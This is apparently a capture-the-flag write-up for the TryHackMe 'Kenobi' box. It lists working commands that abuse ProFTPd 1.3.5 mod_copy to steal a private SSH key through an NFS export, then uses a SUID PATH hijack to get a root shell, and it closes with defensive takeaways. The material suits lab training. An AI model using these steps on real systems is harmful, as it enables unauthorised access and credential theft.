Kenobi

Linux Easy Samba · ProFTPd · NFS ● Completed

TL;DR Samba shares leak an SSH key location → abuse ProFTPd 1.3.5 mod_copy to stage Kenobi's id_rsa into an NFS-exported path → mount NFS, grab the key, SSH in → SUID path hijack on /usr/bin/menu for root.

01Recon

nmap -sC -sV -oN nmap/kenobi 10.10.X.X
# 21 ProFTPD 1.3.5, 22 SSH, 80 HTTP, 111 rpcbind, 139/445 Samba, 2049 NFS
enum4linux -a 10.10.X.X
smbclient //10.10.X.X/anonymous -N        # download log file -> mentions /home/kenobi/.ssh/id_rsa
showmount -e 10.10.X.X                      # NFS export: /var

02Foothold — ProFTPd mod_copy + NFS

ProFTPd 1.3.5's mod_copy lets an unauthenticated user copy files with SITE CPFR/CPTO. Copy Kenobi's private key into the NFS-mounted /var, then mount it and read the key:

nc 10.10.X.X 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

mkdir /mnt/kenobi && mount 10.10.X.X:/var /mnt/kenobi
cp /mnt/kenobi/tmp/id_rsa . && chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.X.X

user.txtTHM{…}

03Privilege Escalation — SUID path hijack

find / -perm -u=s -type f 2>/dev/null    # /usr/bin/menu stands out
/usr/bin/menu                             # runs system binaries by relative name (curl/ifconfig/uname)
# hijack PATH:
echo '/bin/sh' > /tmp/curl && chmod +x /tmp/curl
export PATH=/tmp:$PATH
/usr/bin/menu    # choose the option that calls curl -> root shell

root.txtTHM{…}

04Takeaways

Patch services — ProFTPd 1.3.5 mod_copy is a known unauthenticated file-copy primitive.
Lock down anonymous SMB & NFS exports; don't export writable paths that hold secrets.
SUID binaries must call absolute paths — relative calls invite PATH hijacking.

back to writeups